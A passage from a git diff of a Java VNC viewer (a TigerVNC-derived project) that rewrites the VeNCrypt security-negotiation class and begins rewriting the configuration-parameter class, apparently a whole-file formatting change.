that there are 0 types it can support - this should not - * happen, since if the server supports 0 sub-types, it doesn't support - * this security type - */ - throw new AuthFailureException("The server reported 0 VeNCrypt sub-types"); - } - - return csecurity.processMsg(cc); - } - - public final int getType() { return chosenType; } - public final String description() - { - if (csecurity != null) - return csecurity.description(); - return "VeNCrypt"; - } - - public final boolean isSecure() - { - if (csecurity != null && csecurity.isSecure()) - return true; - return false; - } - - public static StringParameter secTypesStr; - - private CSecurity csecurity; - SecurityClient security; - private boolean haveRecvdMajorVersion; - private boolean haveRecvdMinorVersion; - private boolean haveSentVersion; - private boolean haveAgreedVersion; - private boolean haveListOfTypes; - private boolean haveNumberOfTypes; - private boolean haveChosenType; - private int majorVersion, minorVersion; - private int chosenType; - private int nAvailableTypes; - private int[] availableTypes; - private int iAvailableType; - //private final String desc; - - static LogWriter vlog = new LogWriter("CSecurityVeNCrypt"); -} +/* + * Copyright (C) 2005-2006 Martin Koegler + * Copyright (C) 2006 OCCAM Financial Technology + * Copyright (C) 2010 T2SRFBVNC Team + * Copyright (C) 2011 Brian P. Hinz + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, + * USA. + */ + +package com.tigervnc.rfb; + +import java.util.*; + +import com.tigervnc.rdr.*; + +public class CSecurityVeNCrypt extends CSecurity { + + public CSecurityVeNCrypt(SecurityClient sec) + { + haveRecvdMajorVersion = false; + haveRecvdMinorVersion = false; + haveSentVersion = false; + haveAgreedVersion = false; + haveListOfTypes = false; + haveNumberOfTypes = false; + haveChosenType = false; + majorVersion = 0; + minorVersion = 0; + chosenType = Security.secTypeVeNCrypt; + nAvailableTypes = 0; + availableTypes = null; + iAvailableType = 0; + security = sec; + } + + public boolean processMsg(CConnection cc) { + InStream is = cc.getInStream(); + OutStream os = cc.getOutStream(); + + /* get major, minor versions, send what we can support (or 0.0 for can't support it) */ + if (!haveRecvdMajorVersion) { + majorVersion = is.readU8(); + haveRecvdMajorVersion = true; + + return false; + } + + if (!haveRecvdMinorVersion) { + minorVersion = is.readU8(); + haveRecvdMinorVersion = true; + } + + /* major version in upper 8 bits and minor version in lower 8 bits */ + int Version = (majorVersion << 8) | minorVersion; + + if (!haveSentVersion) { + /* Currently we don't support former VeNCrypt 0.1 */ + if (Version >= 0x0002) { + majorVersion = 0; + minorVersion = 2; + os.writeU8(majorVersion); + os.writeU8(minorVersion); + os.flush(); + } else { + /* Send 0.0 to indicate no support */ + majorVersion = 0; + minorVersion = 0; + os.writeU8(majorVersion); + os.writeU8(minorVersion); + os.flush(); + throw new Exception("Server reported an unsupported VeNCrypt version"); + } + + haveSentVersion = true; + return false; + } + + /* Check that the server is OK */ + if (!haveAgreedVersion) { + if (is.readU8() != 0) + throw new Exception("Server reported it could not support the VeNCrypt version"); + + haveAgreedVersion = true; + return false; + } + + /* get a number of types */ + if (!haveNumberOfTypes) { + nAvailableTypes = is.readU8(); + iAvailableType = 0; + + if (nAvailableTypes <= 0) + throw new Exception("The server reported no VeNCrypt sub-types"); + + availableTypes = new int[nAvailableTypes]; + haveNumberOfTypes = true; + return false; + } + + if (nAvailableTypes > 0) { + /* read in the types possible */ + if (!haveListOfTypes) { + if (is.checkNoWait(4)) { + availableTypes[iAvailableType++] = is.readU32(); + haveListOfTypes = (iAvailableType >= nAvailableTypes); + vlog.debug("Server offers security type "+ + Security.secTypeName(availableTypes[iAvailableType - 1])+" ("+ + availableTypes[iAvailableType - 1]+")"); + + if (!haveListOfTypes) + return false; + + } else + return false; + } + + /* make a choice and send it to the server, meanwhile set up the stack */ + if (!haveChosenType) { + chosenType = Security.secTypeInvalid; + int i; + Iterator j; + List secTypes = new ArrayList(); + + secTypes = security.GetEnabledExtSecTypes(); + + /* Honor server's security type order */ + for (i = 0; i < nAvailableTypes; i++) { + for (j = secTypes.iterator(); j.hasNext(); ) { + int refType = (Integer)j.next(); + if (refType == availableTypes[i]) { + chosenType = refType; + break; + } + } + + if (chosenType != Security.secTypeInvalid) + break; + } + + vlog.debug("Choosing security type "+Security.secTypeName(chosenType)+ + " ("+chosenType+")"); + + /* Set up the stack according to the chosen type: */ + if (chosenType == Security.secTypeInvalid || chosenType == Security.secTypeVeNCrypt) + throw new AuthFailureException("No valid VeNCrypt sub-type"); + + csecurity = security.GetCSecurity(chosenType); + + /* send chosen type to server */ + os.writeU32(chosenType); + os.flush(); + + haveChosenType = true; + } + } else { + /* + * Server told us that there are 0 types it can support - this should not + * happen, since if the server supports 0 sub-types, it doesn't support + * this security type + */ + throw new AuthFailureException("The server reported 0 VeNCrypt sub-types"); + } + + return csecurity.processMsg(cc); + } + + public final int getType() { return chosenType; } + public final String description() + { + if (csecurity != null) + return csecurity.description(); + return "VeNCrypt"; + } + + public final boolean isSecure() + { + if (csecurity != null && csecurity.isSecure()) + return true; + return false; + } + + public static StringParameter secTypesStr; + + private CSecurity csecurity; + SecurityClient security; + private boolean haveRecvdMajorVersion; + private boolean haveRecvdMinorVersion; + private boolean haveSentVersion; + private boolean haveAgreedVersion; + private boolean haveListOfTypes; + private boolean haveNumberOfTypes; + private boolean haveChosenType; + private int majorVersion, minorVersion; + private int chosenType; + private int nAvailableTypes; + private int[] availableTypes; + private int iAvailableType; + //private final String desc; + + static LogWriter vlog = new LogWriter("CSecurityVeNCrypt"); +} diff --git a/T2SRFB/java/com/tigervnc/rfb/Configuration.java b/T2SRFB/java/com/tigervnc/rfb/Configuration.java index 0534579..84363c9 100644 --- a/T2SRFB/java/com/tigervnc/rfb/Configuration.java +++ b/T2SRFB/java/com/tigervnc/rfb/Configuration.java @@ -1,276 +1,276 @@ -/* Copyright (C) 2002-2005 RealVNC Ltd. All Rights Reserved. - * Copyright 2004-2005 Cendio AB. - * Copyright 2012 Brian P. Hinz - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, - * USA. - */ - -// -// Configuration - class for dealing with configuration parameters. -// - -package com.tigervnc.rfb; - -import java.io.FileInputStream; -import java.io.PrintWriter; -import java.lang.reflect.Field; -import java.text.DateFormat; -import java.text.SimpleDateFormat; -import java.util.*; - -import com.tigervnc.vncviewer.VncViewer; - -public class Configuration { - - static LogWriter vlog = new LogWriter("Configuration"); - - private static final String IDENTIFIER_STRING = "T2SRFBVNC Configuration file Version 1.0"; - - public enum ConfigurationObject { ConfGlobal, ConfServer, ConfViewer }; - - // -=- The Global/server/viewer Configuration objects - private static Configuration global_ = null; - private static Configuration server_ = null; - private static Configuration viewer_ = null; - - public static Configuration global() { - if (global_ == null) - global_ = new Configuration("Global"); - return global_; - } - - public static Configuration server() { - if (server_ == null) - server_ = new Configuration("Server"); - return server_; - } - - public static Configuration viewer() { - if (viewer_ == null) - viewer_ = new Configuration("Viewer"); - return viewer_; - } - - // Enable server/viewer specific parameters - public static void enableServerParams() { global().appendConfiguration(server()); } - public static void enableViewerParams() { global().appendConfiguration(viewer()); } - - // Append configuration object to this instance. - // NOTE: conf instance can be only one configuration object - public void appendConfiguration(Configuration conf) { - conf._next = _next; _next = conf; - } - - // -=- Configuration implementation - public Configuration(String name_, Configuration attachToGroup) { - name = name_; head = null; _next = null; - if (attachToGroup != null) { - _next = attachToGroup._next; - attachToGroup._next = this; - } - } - - public Configuration(String name_) { - this(name_, null); - } - - // - Return the buffer containing the Configuration's name - final public String getName() { return name; } - - // - Assignment operator. For every Parameter in this Configuration's - // group, get()s the corresponding source parameter and copies its - // content. - public Configuration assign(Configuration src) { - VoidParameter current = head; - while (current != null) { - VoidParameter srcParam = ((Configuration)src).get(current.getName()); - if (srcParam != null) { - current.immutable = false; - String value = srcParam.getValueStr(); - vlog.debug("operator=("+current.getName()+", "+value+")"); - current.setParam(value); - } - current = current._next; - } - if (_next != null) - _next = src; - return this; - } - - // - Set named parameter to value - public boolean set(String n, String v, boolean immutable) { - return set(n, n.length(), v, immutable); - } - - public boolean set(String n, String v) { - return set(n, n.length(), v, false); - } - - // - Set parameter to value (separated by "=") - public boolean set(String name, int len, - String val, boolean immutable) - { - VoidParameter current = head; - while (current != null) { - if (current.getName().length() == len && - current.getName().equalsIgnoreCase(name.substring(0, len))) - { - boolean b = current.setParam(val); - current.setHasBeenSet(); - if (b && immutable) - current.setImmutable(); - return b; - } - current = current._next; - } - return (_next != null) ? _next.set(name, len, val, immutable) : false; - } - - // - Set named parameter to value, with name truncated at len - boolean set(String config, boolean immutable) { - boolean hyphen = false; - if (config.charAt(0) == '-') { - hyphen = true; - config = config.substring(1); - if (config.charAt(0) == '-') config = config.substring(1); // allow gnu-style --